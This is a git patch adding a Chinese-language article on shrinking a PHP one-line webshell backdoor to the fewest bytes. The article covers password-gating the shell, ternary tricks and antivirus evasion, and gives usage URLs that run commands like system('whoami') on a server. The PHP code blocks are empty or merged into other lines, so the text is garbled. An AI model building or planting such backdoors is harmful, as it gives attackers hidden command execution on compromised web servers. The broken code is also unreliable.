From ffb2c01bdc4a0fa30ff730f081e30653be2be7e8 Mon Sep 17 00:00:00 2001 From: tennc <670357+tennc@users.noreply.github.com> Date: Fri, 26 Aug 2022 19:44:28 +0800 Subject: [PATCH] =?UTF-8?q?add=20=E4=B8=80=E5=8F=A5=E8=AF=9D=E6=9C=A8?= =?UTF-8?q?=E9=A9=AC=E7=9A=84=E7=B2=BE=E7=AE=80=E5=8F=B2.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit from : https://mp.weixin.qq.com/s/f6cFhc0Ukk0wQFGP1lQ4BQ 一句话木马的精简史.md --- php/一句话木马的精简史.md | 126 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 126 insertions(+) create mode 100644 php/一句话木马的精简史.md diff --git a/php/一句话木马的精简史.md b/php/一句话木马的精简史.md new file mode 100644 index 0000000..3bbaaf5 --- /dev/null +++ b/php/一句话木马的精简史.md @@ -0,0 +1,126 @@ +# 一句话木马的精简史 +========= + +原创 lwjs [信安之路](javascript:void(0);) + +**信安之路** + +微信号 xazlsec + +功能介绍 坚持原创,专注信息安全技术和经验的分享,致力于帮助十万初学者入门信息安全行业,为信息安全事业奋斗终身。 + +_2022-08-25 09:52_ _发表于山西_ + +收录于合集 + +今天来看看如何精简一个 php 后门,基于 php 的特性,让 php 后门的字节最小化,首先编写一个一句话后门: + +```php + +``` + +使用方式(function 参数是要执行的函数名,比如 exec、eval、system 等执行命令的函数,argument 为函数的参数,根据不同的函数,使用的参数不同): + +> http://example.com/shell.php?function=system&argument=pwd + +![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8oDA0LJdT31XSYxZpJiczg8UpyVRHrUWFXFmibbichc2DybyR7xdg6Cs3Q/640?wx_fmt=png) + +目前该 webshell 的大小为 98 字节: + +![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8jf9U1R6J6UHu4pDmMkM1Yz3vLliaeH8zmDwqJO2a30KRemicViby9xAOw/640?wx_fmt=png) + +我们看到 shell 中的变量名和参数名都比较长,直接可以缩减为一个字符,比如: + +```php + +``` + +对于 PHP 来说,结束标签 `?>` 也可以不要,然后将变量名也缩减掉之后变成: + +```php + http://example.com/shell.php?f=system&a=pwd + +![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8RP9mQbba1gyH47sx6QLs4mzHjIMZ2dXAZ67R9AYANWs41LsYu9CVibw/640?wx_fmt=png) + +现在有个问题,没有设置密码,任何人都可以使用这个 shell,现在需要增加一个访问密码: + +```php + http://example.com/shell3.php?f=system&a=pwd&p=password + +![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8av3mmVOyyDRNTZxX5icTSfJ381qLZsMlxFBYQXibJGF16ZXGcz55TEibw/640?wx_fmt=png) + +增加了密码功能之后,后门大小变成了 64 字节,还能再进行缩减吗? + +对于 php 而言,存在一种叫三元运算符的东西,比如正常写 `if else`: + +> if ($movie == ‘marvel’){echo ‘y’} else{‘n’} + +使用三元运算符之后的写法: + +> ($movie == ‘marvel’ ? echo ‘y’ : echo ‘n’) + +应用到我们的 shell 中,变成了: + +```php + http://example.com/shell7php?f=system&a=whoami&p=\_ + +![](https://mmbiz.qpic.cn/mmbiz_png/sGfPWsuKAfdyKfVllkibgjOuUOzCo3Bs8vNoKzO4hzePU4tkXBtXuH0EQITaBgTrbibEmXBCPsvrQOoxWgNp9iaPg/640?wx_fmt=png) + +经过一系列的操作,webshell 获得了极大的缩减,其中包含了多个 PHP 脚本的特性,这些特性对于后续的 webshel 免杀会有极大的帮助,极具学习的价值。 + + +